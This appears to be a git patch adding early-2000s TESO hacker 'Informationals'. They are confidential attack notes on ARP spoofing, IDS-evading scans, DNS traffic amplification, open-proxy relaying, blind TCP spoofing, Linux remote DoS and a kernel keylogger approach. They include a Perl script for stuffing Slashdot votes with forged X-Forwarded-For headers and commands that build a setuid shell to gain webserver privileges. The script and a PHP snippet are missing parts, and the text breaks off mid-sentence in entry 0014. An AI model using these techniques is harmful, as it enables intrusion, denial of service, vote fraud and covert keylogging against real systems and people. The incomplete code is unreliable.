From c9cbeced5b3f2bdd7407e29c0811e65954132540 Mon Sep 17 00:00:00 2001 From: Root THC Date: Tue, 24 Feb 2026 12:42:47 +0000 Subject: initial --- informationals/teso-i0001.txt | 42 ++ informationals/teso-i0002.txt | 33 ++ informationals/teso-i0003.txt | 31 ++ informationals/teso-i0004.txt | 74 +++ informationals/teso-i0005.txt | 35 ++ informationals/teso-i0006.txt | 84 ++++ informationals/teso-i0007.txt | 48 ++ informationals/teso-i0008.txt | 57 +++ informationals/teso-i0009.txt | 65 +++ informationals/teso-i0010.txt | 46 ++ informationals/teso-i0011.txt | 42 ++ informationals/teso-i0012.txt | 57 +++ informationals/teso-i0013.txt | 88 ++++ informationals/teso-i0014.txt | 114 +++++ informationals/teso-i0015.txt | 45 ++ informationals/teso-i0016.txt | 47 ++ informationals/teso-i0017.txt | 195 ++++++++ informationals/teso-i0018.txt | 74 +++ informationals/teso-i0019.txt | 34 ++ informationals/teso-i0020.txt | 669 ++++++++++++++++++++++++++ informationals/teso-i0021.txt | 70 +++ informationals/teso-i0022.txt | 266 +++++++++++ informationals/teso-i0023.txt | 156 ++++++ informationals/teso-i0024.txt | 136 ++++++ informationals/teso-i0025.txt | 291 ++++++++++++ informationals/teso-i0026.txt | 54 +++ informationals/teso-i0027.txt | 279 +++++++++++ informationals/teso-i0028.txt | 90 ++++ informationals/teso-i0029.txt | 86 ++++ informationals/teso-i0030.txt | 53 +++ informationals/teso-i0031.txt | 68 +++ informationals/teso-i0032.txt | 350 ++++++++++++++ informationals/teso-i0033.txt | 102 ++++ informationals/teso-i0034.txt | 491 +++++++++++++++++++ informationals/teso-i0035.txt | 107 +++++ informationals/teso-i0036.txt | 142 ++++++ informationals/teso-i0037.txt | 382 +++++++++++++++ informationals/teso-i0037/mallint.h | 154 ++++++ informationals/teso-i0037/malloc.c | 838 +++++++++++++++++++++++++++++++++ informationals/teso-i0037/mxp.c | 195 ++++++++ informationals/teso-informationals.txt | 48 ++ 41 files changed, 6238 insertions(+) create mode 100644 informationals/teso-i0001.txt create mode 100644 informationals/teso-i0002.txt create mode 100644 informationals/teso-i0003.txt create mode 100644 informationals/teso-i0004.txt create mode 100644 informationals/teso-i0005.txt create mode 100644 informationals/teso-i0006.txt create mode 100644 informationals/teso-i0007.txt create mode 100644 informationals/teso-i0008.txt create mode 100644 informationals/teso-i0009.txt create mode 100644 informationals/teso-i0010.txt create mode 100644 informationals/teso-i0011.txt create mode 100644 informationals/teso-i0012.txt create mode 100644 informationals/teso-i0013.txt create mode 100644 informationals/teso-i0014.txt create mode 100644 informationals/teso-i0015.txt create mode 100644 informationals/teso-i0016.txt create mode 100644 informationals/teso-i0017.txt create mode 100644 informationals/teso-i0018.txt create mode 100644 informationals/teso-i0019.txt create mode 100644 informationals/teso-i0020.txt create mode 100644 informationals/teso-i0021.txt create mode 100644 informationals/teso-i0022.txt create mode 100644 informationals/teso-i0023.txt create mode 100644 informationals/teso-i0024.txt create mode 100644 informationals/teso-i0025.txt create mode 100644 informationals/teso-i0026.txt create mode 100644 informationals/teso-i0027.txt create mode 100644 informationals/teso-i0028.txt create mode 100644 informationals/teso-i0029.txt create mode 100644 informationals/teso-i0030.txt create mode 100644 informationals/teso-i0031.txt create mode 100644 informationals/teso-i0032.txt create mode 100644 informationals/teso-i0033.txt create mode 100644 informationals/teso-i0034.txt create mode 100644 informationals/teso-i0035.txt create mode 100644 informationals/teso-i0036.txt create mode 100644 informationals/teso-i0037.txt create mode 100644 informationals/teso-i0037/mallint.h create mode 100644 informationals/teso-i0037/malloc.c create mode 100644 informationals/teso-i0037/mxp.c create mode 100644 informationals/teso-informationals.txt (limited to 'informationals') diff --git a/informationals/teso-i0001.txt b/informationals/teso-i0001.txt new file mode 100644 index 0000000..92e8c69 --- /dev/null +++ b/informationals/teso-i0001.txt @@ -0,0 +1,42 @@ +0001 2000/01/20 Difference in Linux 2.x ARP Request handling + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Difference in Linux 2.x ARP Request handling +Date .................: 2000/01/20 18:00 +Author ...............: scut +Publicity level ......: unknown +Affected .............: ARP protocol handling in Linux 2.x kernels +Type of entity .......: Protocol +Type of discovery ....: implementation difference +Severity/Importance ..: interesting +Found by .............: rookie and scut + +Information =================================================================== + +An ARP resolution request is usually done in two steps, where one ARP Request +message is send and the host that has an interface configured for the +requested IP address answers with an ARP Answer message. Every ARP message +of one protocol conversion type has the same length to ease processing of the +messages. + +In an ARP Answer the sender IP and sender MAC address is included along with +the target IP address and the target MAC address. While it makes sense in an +ARP Answer the same values are included in an ARP Request too, for the sense +of simplicity. While most implementations ignore the sender IP/MAC address +pair in an ARP Request the Linux kernel adds this pair to it's internal ARP +table, having the same effect as if it is an ARP Answer packet. + +This allows us to ARP spoof using ARP Requests instead of ARP Answers if the +target system runs Linux. This may be done for stealth purposes or to subvert +ARP packet watching programs such as arpwatch. + +Note that this is the correct behavior as defined in RFC 826, where every +implementation should update it's cache before even looking at the ARP opcode. +Every other common implementation however (including all BSDs and Windows +systems) do not do this. + +=============================================================================== + diff --git a/informationals/teso-i0002.txt b/informationals/teso-i0002.txt new file mode 100644 index 0000000..b71c14b --- /dev/null +++ b/informationals/teso-i0002.txt @@ -0,0 +1,33 @@ +0002 2000/01/21 TCP stealth scan "Scan 64" + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: New TCP stealth-scans, aka "Scan 64" +Date .................: 2000/01/21 15:37 +Author ...............: S. Krahmer +Publicity level ......: public after 25.1.2000 +Affected .............: lots of network-based IDS's +Type of entity .......: Protocol-based +Type of discovery ....: implementation mistake +Severity/Importance ..: interesting +Exploit available ....: Y +URL ..................: http://www.cs.uni-potsdam.de/homepages/students/linuxer +Found by .............: S. Krahmer + +Information =================================================================== + +The general behavior of many IDS is 'black-list' based. You need to specify +for example the list of bad flags in a TCP-packet to detect so called +'stealth-scans'. + +It is very difficult to get all the types black-listed. Instead one should list +all 'allowed' flags (i.e. SYN|ACK, RST, PUSH|ACK etc). + +After notifying the maintainers of IDS's about the possibility of silent push- +scans and a fixed scan-detection engine, it was again possible to do un-noticed +scans by setting flags in TCP-headers that don't appear in usual traffic. + +=============================================================================== + diff --git a/informationals/teso-i0003.txt b/informationals/teso-i0003.txt new file mode 100644 index 0000000..5d530ab --- /dev/null +++ b/informationals/teso-i0003.txt @@ -0,0 +1,31 @@ +0003 2000/01/22 Remotely exploitable buffer overflow condition in webfind.exe + part of the WebsitePro Package (cgi-bin) + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Remote buffer overflow +Date .................: 2000/01/22 19:06 +Author ...............: Bawd +Publicity level ......: unknown +Affected .............: All WebsitePro HTTP servers running the webfind cgi +Type of entity .......: Daemon/Server +Type of discovery ....: bug +Severity/Importance ..: interesting +Found by .............: Bawd + +Information =================================================================== + +This buffer overflow allows a remote attacker to gain privileged access to +machines running the WebSite servers. + +Filling the "Search For" case with more than 2000 characters will cause the cgi +to make an exception fault and overwrite the return address, which will +overwrite EIP. + +"webfind.exe" is installed by default in the cgi-bin directory. Exploit is +coming later. + +=============================================================================== + diff --git a/informationals/teso-i0004.txt b/informationals/teso-i0004.txt new file mode 100644 index 0000000..b20a187 --- /dev/null +++ b/informationals/teso-i0004.txt @@ -0,0 +1,74 @@ +0004 2000/01/22 Conceptual bug in webvoting systems with proxy protection + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Conceptual bug in webvoting systems with protection + against proxy servers +Date .................: 2000/01/22 20:53 +Author ...............: typo +Publicity level ......: possibly known +Affected .............: slashdot webvoting systems, probably others +Type of entity .......: CGI +Type of discovery ....: interesting information +Severity/Importance ..: low +Found by .............: typo + +Information =================================================================== + +X-Forwarded-For is the HTTP header field added by proxies in which they store +the client's real IP. Normally it looks like this: + +X-Forwarded-For: 1.2.3.4 + +meaning that 1.2.3.4 asked the proxy to fetch the page. + +Now, most webvoting systems implement proxy protection by accounting votes to +the IP mentioned in the HTTP X-Forwarded-For: header, if it is set. No one +seems to have thought that by sending your own X-Forwarded-For field in a +non-proxy request, you can get the vote CGI to account your vote to some +other IP. Tested on Slashdot. + +Sample slashdot vote h4x0r Perl script: + +#!/usr/bin/perl + +use IO::Socket; + +$vote = "votename"; # see url +$aid = 8; # see url +$times = 50; # num of votes + +for ($i = 1; $i <= $times; $i++) { + $cowshit = IO::Socket::INET->new(PeerAddr => "slashdot.org", + PeerPort => 80, + Timeout => 30, + Proto => 'tcp'); + +die "no connect" if (!defined $cowshit); + +$cowshit->autoflush(1); + +$rand1 = int(rand(254)+1); +$rand2 = int(rand(254)+1); +$rand3 = int(rand(254)+1); +$rand4 = int(rand(254)+1); + +$tmp = <close; +} + +=============================================================================== + diff --git a/informationals/teso-i0005.txt b/informationals/teso-i0005.txt new file mode 100644 index 0000000..eda8329 --- /dev/null +++ b/informationals/teso-i0005.txt @@ -0,0 +1,35 @@ +0005 2000/01/22 Ascend ISDN Router DoS vulnerability (old UDP echo problem) + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Ascend ISDN Router DoS vulnerability +Date .................: 2000/01/22 21:00 +Author ...............: scut +Publicity level ......: known +Affected .............: unfirewalled Ascend ISDN Routers, for example Ascend + Pipeline 50 routers +Type of entity .......: Router +Type of discovery ....: denial of service attack +Severity/Importance ..: interesting +Found by .............: hendy and scut + +Information =================================================================== + +A standard Ascend ISDN router has the UDP echo port open. By spoofing the +source IP address as the destination IP address of the router and sending a UDP +packet to the router the router will keep the packet within it's internal +packet table forever. However this is a very old denial of service attack, but +it has some nice effects here. + +For example by sending packets of 500 bytes length you can constantly increase +the generic router delay time from 0 ms to up to 800 ms. After that the router +packet table is completely overflowed and the router is inoperational. In this +state the only thing that will help is a hard reset of the router. + +This is just the old echo/echo UDP link problem, but still living very happily +in any Ascend ISDN router. + +=============================================================================== + diff --git a/informationals/teso-i0006.txt b/informationals/teso-i0006.txt new file mode 100644 index 0000000..0825ad8 --- /dev/null +++ b/informationals/teso-i0006.txt @@ -0,0 +1,84 @@ +0006 2000/01/23 Nameserver traffic amplify (x 10-30) and NS route discovery + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: NS traffic amplify (x 10-30) and NS route discovery +Date .................: 2000/01/23 11:15 +Author ...............: scut +Publicity level ......: unknown +Affected .............: Nameservers +Type of entity .......: Protocol +Type of discovery ....: interesting information, denial of service attack +Severity/Importance ..: medium +Found by .............: scut + +Information =================================================================== + +When a nameserver receives a query, most nameservers usually just start +forwarding the query to some other nameserver. There can be quite a long path +of forwarding queries. However if the query is not resolvable because there +is no nameserver listening on the remote host every forwarding nameserver will +start to resolve it on their own, by querying the authoritative nameserver +themselves. In the default configuration each nameserver will send the query +three times, after 0, 12 and 24 seconds, ymmv. + +This can be used to discover the path of nameservers. To do this an attacker +would query the first nameserver for a domain he can see the packets on, at +best the domain points to the query host itself. Then he would record all +nameservers that send out a packet to himself. After having done this he would +try with another nameserver of the ones he got queries from. In the best case +he will receive a queries from all hosts but one missing. The missing one is +the first host in the route. After having reduced the list by one he will +start over with the reduced list until there is only one nameserver remaining, +which is the last in the querying chain. + +Through seeking especially long paths, where a lot of nameservers are queried, +this can be abused then as a traffic amplify bandwidth attack, as shown below. +Since the important entries such as the NS entry is in the cache of each +nameserver after the first query, the attack is very fast pacing after the +first query, since no additional packets to the attacker are send and the +attacker can spoof the UDP query packets. If the attacker is clever he would +use a very short lifetime for his NS entry, while using a long lifetime for +the victim subdomain. After the first query succeeded he will just shut his +nameserver down and send out spoofed query packets at a very fast rate. + +In this case a query was issued to ns1 asking about a host within a domain that +host "victim" has an NS entry for. But there is no nameserver running on victim, +therefore all queries remain unanswered, and after a short time all nameservers +that indirectly received the query are starting to query on their own. The host +"victim" is in this case the victim host which gets the whole traffic load. To +use this to attack someone you just have to create an NS entry for the victim +host, for example you own the NS for the domain "foobar.org", then you have to +create a NS entry "bla.foobar.org" that points to the victim host. After that, +you query as much nameservers as possible for ".bla.foobar.org". + +08:07:24.943598 ns2.domain > victim.domain: 15121 (35) +08:07:32.747253 ns3.domain > victim.domain: 8536 (35) +08:07:32.832604 ns2.domain > victim.domain: 15121 (35) +08:07:39.819289 ns3.domain > victim.domain: 8536 (35) +08:07:40.670228 ns1.1025 > victim.domain: 56483 (35) +08:07:44.405556 ns4.domain > victim.domain: 5306 (35) (DF) +08:07:48.928981 ns2.domain > victim.domain: 15121 (35) +08:07:52.669825 ns1.1025 > victim.domain: 56483 (35) +08:07:56.107063 ns3.domain > victim.domain: 8536 (35) +08:07:56.471586 ns4.domain > victim.domain: 5306 (35) (DF) +08:08:04.938187 ns6.domain > victim.domain: 26706 (35) +08:08:12.372097 ns5.2187 > victim.domain: 2352 (35) +08:08:13.826464 ns6.domain > victim.domain: 26706 (35) +08:08:16.669021 ns1.1025 > victim.domain: 56483 (35) +08:08:20.603050 ns4.domain > victim.domain: 5306 (35) (DF) +08:08:24.365990 ns5.2187 > victim.domain: 2352 (35) +08:08:30.873233 ns6.domain > victim.domain: 26706 (35) + 08:08:32.658479 ns1.domain > victim.1025: 298 ServFail 0/0/0 (35) +08:08:48.369725 ns5.2187 > victim.domain: 2352 (35) + +As you can see there are five nameservers who indirectly got the query. "ns1" +is the nameserver that got the original query which was 35 bytes in length. Now +all nameservers started to send out queries, three per nameserver. Since six +nameservers have done this, the amplify ratio is about 18 (35 * 6 * 3 = 630) +in this case. + +=============================================================================== + diff --git a/informationals/teso-i0007.txt b/informationals/teso-i0007.txt new file mode 100644 index 0000000..8304c03 --- /dev/null +++ b/informationals/teso-i0007.txt @@ -0,0 +1,48 @@ +0007 2000/01/23 Conceptual bug in PHP and also in CGI modules + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Bug in scripting modules for web servers +Date .................: 2000/01/23 18:19 +Author ...............: hendy +Publicity level ......: well known +Affected .............: Unix http servers (maybe others) +Type of entity .......: CGI+PHP +Severity/Importance ..: low but interesting +Found by .............: hendy + +Information =================================================================== + +If your httpd supports PHP and/or CGI scripts, and you allow users to use +these, those scripts are run as the user/group the webserver runs as. Though +this is mostly not user root, it can have impact if you have an own group. +For example you allow group 'foo' to modify webserver configuration or the +webserver needs access on some files (for example chat scripts, or messaging +services via PHP/CGI). Every user with access on this machine can easily get +access to this with little knowledge of scripting: + +(in PHP) + + + +Of course you have to let the webserver read ~/shell.c and shell.c does +something like setuid(webserver); setgid(webgid); system("/bin/sh"); + +If CGI scripts are supported its even more easy. + +#!/bin/sh +gcc -o ~user/shell.c -o /tmp/webshell +chmod 4755 /tmp/webshell + +Of course, this is only one possible idea of getting webservers privileges, but +since this exploitation is possible on every standard Linux distribution, it +should get somehow known, that giving the webuser more rights than it really +needs, can be dangerous. + +================================================================================== + diff --git a/informationals/teso-i0008.txt b/informationals/teso-i0008.txt new file mode 100644 index 0000000..aa5bc9c --- /dev/null +++ b/informationals/teso-i0008.txt @@ -0,0 +1,57 @@ +0008 2000/01/24 Check for IP spoofing abilities for a local IP address + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Check for IP spoofing abilities for a local IP address +Date .................: 2000/01/24 18:15 +Author ...............: scut +Publicity level ......: public, but not widely known +Affected .............: IP +Type of entity .......: Protocol +Type of discovery ....: interesting information +Severity/Importance ..: low +Found by .............: scut + +Information =================================================================== + +The ability to IP spoof has drastically decreased over the last years, mainly +to hinder either denial of service attacks to be executed or to stop +sophisticated attacks which involve IP spoofing. While in general IP spoofing +is a bad thing, sometimes you need to be capable to send spoofed datagrams. +While there are still numerous hosts on the Internet that can set arbitrary IP +source addresses, you often need to tell whether you can spoof from a host you +have superuser access on. + +The only way to tell whether you can spoof from a host is to try sending of a +frame which has a source IP address that is not used within that network and is +not one of the reserved private addresses. The other part of the problem +is how we can check whether the spoofed packet got through all the routers to +it's destination. + +In general we can only tell this if the packet we send has a noticeable effect. +This can be for example if we spoof a packet which triggers an attack signature +in some IDS system, where the log is displayed publically on the web (www. +antionline.com does this), or we can just send the packet to some other IP +where we can receive the packet and display it. This is the first method: + +1) Send a spoofed packet to another IP not on the local network and see if the + packet arrives. Optionally put the real source IP into the packet and send + an answer packet back to this IP, so the source host knows whether it can + spoof or not. + +Another method is similar to the first, but only needs the local host and a +domain NS entry for the local IP or a sniffable IP. It works like this: + +2) Send a spoofed DNS query for a host inside your local domain, which you + have an NS entry for on your local host or on a host in the local network, + that is sniffable. Send the query to a public usable nameserver outside + your local network, then see if some nameservers issues a query for the + host you originally asked for, if it does, you can spoof. + +Method 2) is used by the DNS spoofing program "zodiac" to determine if it can +spoof from the current network it is running on. + +=============================================================================== + diff --git a/informationals/teso-i0009.txt b/informationals/teso-i0009.txt new file mode 100644 index 0000000..ec4378d --- /dev/null +++ b/informationals/teso-i0009.txt @@ -0,0 +1,65 @@ +0009 2000/01/26 HTTP proxy forwarding + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: HTTP proxy forwarding +Date .................: 2000/01/26 12:15 +Author ...............: scut +Publicity level ......: public and widely known for a long time +Affected .............: HTTP proxy servers +Type of entity .......: misconfiguration +Type of discovery ....: useful information +Severity/Importance ..: low +Found by .............: ? + +Information =================================================================== + +HTTP proxy servers such as Squid offer multiple methods of request forwarding. +The basic HTTP protocol defines three main types, that are called GET, POST and +CONNECT. The GET type is the one your browser uses if you just want to retrieve +a file from a remote HTTP server. The POST type is used for longer form data, +while the CONNECT type is usually used to access HTTPS servers through HTTP +proxy servers. While there are still lots of open HTTP proxy servers out there +(several thousands I've found so far) that do allow the GET request to be used, +only a few hundreds allow the POST and CONNECT requests. + +The CONNECT request allows TCP connection forwarding nearly all of the times, +just try: + +------- +xolon:~$ telnet 3128 +Trying xxx... +Connected to xxx. +Escape character is '^]'. +CONNECT ip-removed:21 HTTP/1.0 + +HTTP/1.0 200 Connection established + +220 xxx FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999) ready. +------- + +Where "CONNECT : HTTP/1.0" is followed by two carriage return +characters. If the CONNECT method works, it is usually very reliable, but the +connection is limited to two hours usually, then it gets removed by the proxy +server. The POST method is a bit more complicated, since it sometimes not +offer a real TCP connection forward, but just a buffered single-direction +forwarder. But for other servers it sometimes behaves like a normal CONNECT +request, offering you a complete unbuffered TCP connection relay. The request +looks like: + +POST http://:/ HTTP/1.0 + +The "numby" HTTP proxy scanner can check for all three methods and can tell +whether a connection forward is reliable and one- or two-directional. + +From scanning nearly 4000 proxy servers here are some statistics: + +3815 HTTP proxies scanned +727 open GET servers +114 open CONNECT servers +21 open POST servers + +=============================================================================== + diff --git a/informationals/teso-i0010.txt b/informationals/teso-i0010.txt new file mode 100644 index 0000000..a0703e9 --- /dev/null +++ b/informationals/teso-i0010.txt @@ -0,0 +1,46 @@ +0010 2000/01/30 Trick for exploiting BIND nameservers + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Trick for exploiting BIND nameservers +Date .................: 2000/01/30 12:00 +Author ...............: scut +Publicity level ......: unknown +Affected .............: networks with multiple BIND nameservers +Type of entity .......: misconfiguration +Type of discovery ....: useful information +Severity/Importance ..: low +Found by .............: scut, inspired by smilers ideas and his NXT exploit + +Information =================================================================== + +When exploiting BIND bugs it is often necessary to make the remote nameserver +issue a query to your nameserver, which is in some cases a pseudo server which +sends an exploiting packet back on query. + +However in some cases DNS queries aren't allowed to the remote server, although +you know the server is vulnerable you cannot exploit this weakness, because +you cannot make it to query your exploiting server. + +The DNS server may accept queries only from a predefined IP range, for example +the IP range of that subnetwork. Often other DNS servers can be found in the +subnetwork. At the same time it is often the case that these servers are +configured to just relay the queries to another DNS server. By using a "deaf" +pseudo-nameserver, which just responds to the IP of the nameserver you want +to exploit (smilers NXT exploit does support this) you can now exploit that +server by querying the other nameserver, which accepts your queries, which +then happily relays the question to the main nameserver. + +This nameserver may not carry out the query directly if you'd answer the query +if it is issued by another nameserver (see TESO Informational #0006), but if +you don't answer it this nameserver will after a few seconds issue that query +itself, allowing you to exploit it. + +Also using nameserver path discovery (also in #0006) you may be able to spoof +send the reply in between two nameservers, which is not possible in the NXT case +but maybe required for future exploits. + +=============================================================================== + diff --git a/informationals/teso-i0011.txt b/informationals/teso-i0011.txt new file mode 100644 index 0000000..36879fc --- /dev/null +++ b/informationals/teso-i0011.txt @@ -0,0 +1,42 @@ +0011 2000/02/01 Linux keyboard handler tricks + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Linux kernel keyboard handling +Date .................: 2000/02/01 17:00 +Author ...............: Palmers +Publicity level ......: known +Affected .............: Linux kernel +Type of entity .......: kernel module +Type of discovery ....: useful information +Severity/Importance ..: low +Found by .............: Palmers + +Information =================================================================== + +It is (in theory) easy to (1) free keyboards IRQ, then (2) install a keylogger, +and (3) reinstall the original interrupt handler. It has to be freed first to +reinstall the first handler to the, then shared, interrupt. + +The stuff that deal with this can be found in: + +/arch/i386/kernel/irq.c (free_irq, request_irq) +/drivers/char/pc_keyb.c (kbd stuff) + +as well as in: +/include/asm-i386/keyboard.h +/arch/i386/kernel/irq.h +/include/linux/interrupt.h + +Ok, an interrupt handler has three arguments: +interrupt_handler (int irq, void *dev_id, struct pt_regs *regs) + +Which are - you guess it - interrupt, id and a pt_regs struct (which leads +to the need for asm). The logger simply needs to pop the byte, read from the +keyboard, and write it in a file, the original interrupt handler could be +restored using pc_keyb.c (with some modifications). + +=============================================================================== + diff --git a/informationals/teso-i0012.txt b/informationals/teso-i0012.txt new file mode 100644 index 0000000..f7395d3 --- /dev/null +++ b/informationals/teso-i0012.txt @@ -0,0 +1,57 @@ +0012 2000/02/08 Method to stretch DNS packet length + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Method to stretch DNS packet length +Date .................: 2000/02/08 16:00 +Author ...............: scut +Publicity level ......: possibly known +Affected .............: DNS protocol +Type of entity .......: protocol +Type of discovery ....: useful information +Severity/Importance ..: low +Found by .............: scut + +Information =================================================================== + +When conducting attacks against the DNS protocol, which is some peoples +favorite hobby, it is sometimes necessary to send out large DNS packets, +answers or queries. + +There are some ways to enlarge a DNS packet, most of them modify the meaning +of the packet. When the meaning should not be modified, there is only one +method how to insert bogus bytes that are still within the DNS protocol +specification. + +DNS domain names are constructed by appending labels, which are ASCII strings +which are prepended with a size-qualifier, consisting of one byte. This size- +byte has another function: Some values tell the DNS packet decoder that the +following labels should be acquired from somewhere else in the packet. This is +called "compressed" DNS domain names. There exist numerous attacks to exploit +poorly coded DNS packet decoders, such as pointing to the same label all the +time, resulting in a loop. All the common DNS decoders (the one in BIND and +the descendant in glibc), are immune to such attacks. + +However we can use the compressed label format to construct legal label +sequences, which just enlarge the packet, but don't modify the meaning of the +packet. This can be done like this: + +\x04real\x03dom\x04name\x00 + +This enlarges the domain by 4 bytes, without modifying the final decoding +result of "real.dom.name". We can use this prepending-compression as often as +we want, however nameservers such as BIND decompress the packet before doing +anything, such as caching, so we can just use this if we send the packet. + +Such a compressed domain name will reassemble to a correct domain name for all +BIND versions below 9.x.x, and for resolver libraries such as the one that +comes with glibc. For BIND 9.x.x and up this behavior can be partly limited +by setting a global maximum compression pointer limitation. I haven't looked +very thoroughly through the decompression routine, since it is kinda huge +(about 250 lines), but I think the default limit is big enough to make use +of this too, even in BIND 9.x.x nameservers and up. + +=============================================================================== + diff --git a/informationals/teso-i0013.txt b/informationals/teso-i0013.txt new file mode 100644 index 0000000..b7a1710 --- /dev/null +++ b/informationals/teso-i0013.txt @@ -0,0 +1,88 @@ +0013 2000/02/17 Linux blind TCP spoofing methods overview + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Linux blind TCP spoofing methods overview +Date .................: 2000/02/17 21:00 +Author ...............: scut +Publicity level ......: known +Affected .............: Linux 2.0.x/2.2.x TCP stack +Type of entity .......: implementation +Type of discovery ....: useful information +Severity/Importance ..: medium +Found by .............: various people (NAI, nergal, stealth) + +Information =================================================================== + +There are several blind TCP spoofing methods known for the used Linux 2.0.x and +2.2.x kernel series. By blind TCP spoofing you can arbitrarily set the source +IP of a remote TCP connection and hence exploit IP based authorization +schemes and/or bypass access control lists. + +I'll summarize the methods known to me. + + +<= 2.0.35 FIN pushes data to application although state is SYN_RECEIVED + +Discovered by Network Associates on 1999/03/09, this vulnerability allows you +to remotely flush the already received TCP data to the application. Normally +the system buffers all the received data and only passes them to the +application if the connection has been established. However, in Linux kernels +below and equal too 2.0.35, the kernel will send all buffered data to the +application if you terminate the not yet established TCP connection by sending +a FIN packet when it is currently in the SYN_RECEIVED state, without checking +whether the connection has already completed the three-way-handshake. There are +two public exploits available, receive.c and lin35.c (by myself), but +exploitation is trivial. This vulnerability can especially well abused for non +interactive protocols such as FTP or SMTP. + + +<= 2.0.37 Too high ACK results in a RST packet being send, detectable through + linear IP ID on victim host + +While developing libnids, a network intrusion detection library, which offers +a easy interface to TCP streams in the network, nergal ported the Linux 2.0.37 +TCP/IP stack into userland. While doing this he audited the code and found this +vulnerability. He posted his results to the Bugtraq Mailing List on 1999/07/31. +To be exact, there are two small bugs that add up to a relevant vulnerability: +One lies in the Linux 2.0.37 kernel implementation of the ACK number +verification routine. Linux 2.0.37 kernels and older kernels will send out RST +datagrams if the acknowledgement number received is higher then the one +assigned to the connection, but will behave quiet if the number is less or +equal to the correct number. Once the connection is in the ESTABLISHED state +this behavior changes to that no packet is generated on a too high +acknowledgement number. This way one can easily find the correct ISN number +through a binary search in the search space when the attacker is able to tell +whether a packet was send or not. Linux kernels use sequential IP ID fields, +which can be abused to indicate whether a host sends packets (ID increases) or +not (ID is constant). Through constantly pinging the victim and monitoring the +IP ID increasing either by one (just our ping reply) or by two (our ping reply +plus the RST packet) one can easily do the search and find the correct ISN. +A public exploit is available from nergal himself and was attached to his +original Bugtraq posting. Note that the host must be really idle to do this +search, which can take up to three dozens seconds. + + +<= 2.2.12 TCP Sequence numbers are predictable on similar TCP states + +In September 1999 stealth discovered that Linux 2.2.x kernels behaved different +in their ISN selection if the TCP connection perimeters (port, seq, IP) were +alike: If two connections are similar in their parameters, having the same +ports and equal ISN's the remote Linux system will assign a similar Initial +Sequence Number to the connection. As it was later discussed on the Linux +kernel mailing list this resulted from two bugs within the Linux kernel and an +invalid use of the hash function (MD4). +While all kernels below and equal to 2.2.12 kernels do have this vulnerability +it doesn't even seem to matter whether the TCP SYN cookie functionality is +enabled or not. To exploit this you create two TCP connections, one from the +spoofed IP and one from a sniffable IP. The trick is to assign the same source +and destination ports as well as the same Initial Sequence Number to the SYN +packets. The ISN assigned by the victim computer to the two new connections +will differ only by a few thousands, so range prediction is easily possible. +An exploit is available in the TESO Advisory about this topic, called +blindSpoof.cc, written by stealth. + +=============================================================================== + diff --git a/informationals/teso-i0014.txt b/informationals/teso-i0014.txt new file mode 100644 index 0000000..aae1243 --- /dev/null +++ b/informationals/teso-i0014.txt @@ -0,0 +1,114 @@ +0014 2000/02/18 Linux remote DoS overview + +==== TESO Informational ======================================================= +This piece of information is to be kept confidential. +=============================================================================== + +Description ..........: Linux remote DoS overview +Date .................: 2000/02/18 21:00 +Author ...............: scut +Publicity level ......: known +Affected .............: Linux 1.2.x/2.0.x/2.2.x TCP/IP stack +Type of entity .......: implementation +Type of discovery ....: useful information +Severity/Importance ..: medium +Found by .............: various people (klepto, humble, horizon) + +Information =================================================================== + +There are numerous denial of service vulnerabilities in almost every operating +system in use today. However due to it's broad use Linux has been a focal point +of interest to search for such vulnerabilities. The results are a number of +remote denial of service attacks found in the kernel in the past three years. +While there are a lot of variations to this attacks that work around some +patches in other operating systems here is a list of all remotely exploitable +denial of service attacks in the Linux operating systems. + +Please feel free to correct me or make additions. + + +<= 2.0.26 Ping of Death + +Linux kernels below or equal version 2.0.26 fail to handle oversized IP +packets, which are send in multiple fragments. This attack has been well known +and can be exploited as simple as running the "ping" command with certain +flags. Also several other programs to exploit this vulnerability have been +written such as ssping.c by vallah. The vulnerability takes place if IP packets +with a size beyond 2^16 bytes are send to the remote host. The results vary +from a complete kernel crash to disabled IP functionality. + + +<= 2.0.31 IP fragment overlap bug + +This severe bug and first of it's class, followed by many variations was +discovered by klepto sometime before 1997/11/03 and is based on a bug in the +Linux kernel IP refragmentation routine. In this routine the kernel reassembles +all received IP fragments back to one linear data block. While it does some +basic sanity checks it fails to check for a situation which is unlikely to ever +happen in normal network conditions. This situation results in way too much +data (negative integer overflow then casted to unsigned int) copied by the +kernel, resulting in a system crash or reboot. A public exploit called +teardrop.c written by route is available. + + +<= 2.0.35 off by one IP header (nestea.c) + +While the teardrop vulnerability was unique and quickly being recognized as a +real threat a fix was developed quickly. There were however a lot of parameters +to modify in the teardrop sources and people started to play with various +values resulting in a new teardrop variation called nestea. This exploits a +similar bug in the IP refragmentation code of the Linux kernel. The public +exploit is called nestea.c and is written by humble 1998/04/16. + + +2.0.36 (possibly others) unknown (?) + +There exist a remote denial of service attack which effectively disables any +IP communication and works with lots of packets send to the victim host. No +further information is known, but it has been successfully used on the CCCamp +hacker deathmatch by the ADM team to disable team TESO's network functionality. +Evidence is pretty strong on this. + + +2.1.89 - 2.2.3 zero length fragment bug + +This vulnerability within the Linux kernels has been found by horizon on +1999/03/24. The bug allows an attacker to remotely cripple the IP stack of the +Linux kernel by filling a kernel-internal list of pending IP fragments, which +wait for reassembly. While filling this list alone doesn't affect the IP stack +very much there is a implementation bug that allows the attacker to create a +IP fragment list entry that is "stranded": the Linux kernel will never free it +anymore. The list is limited to 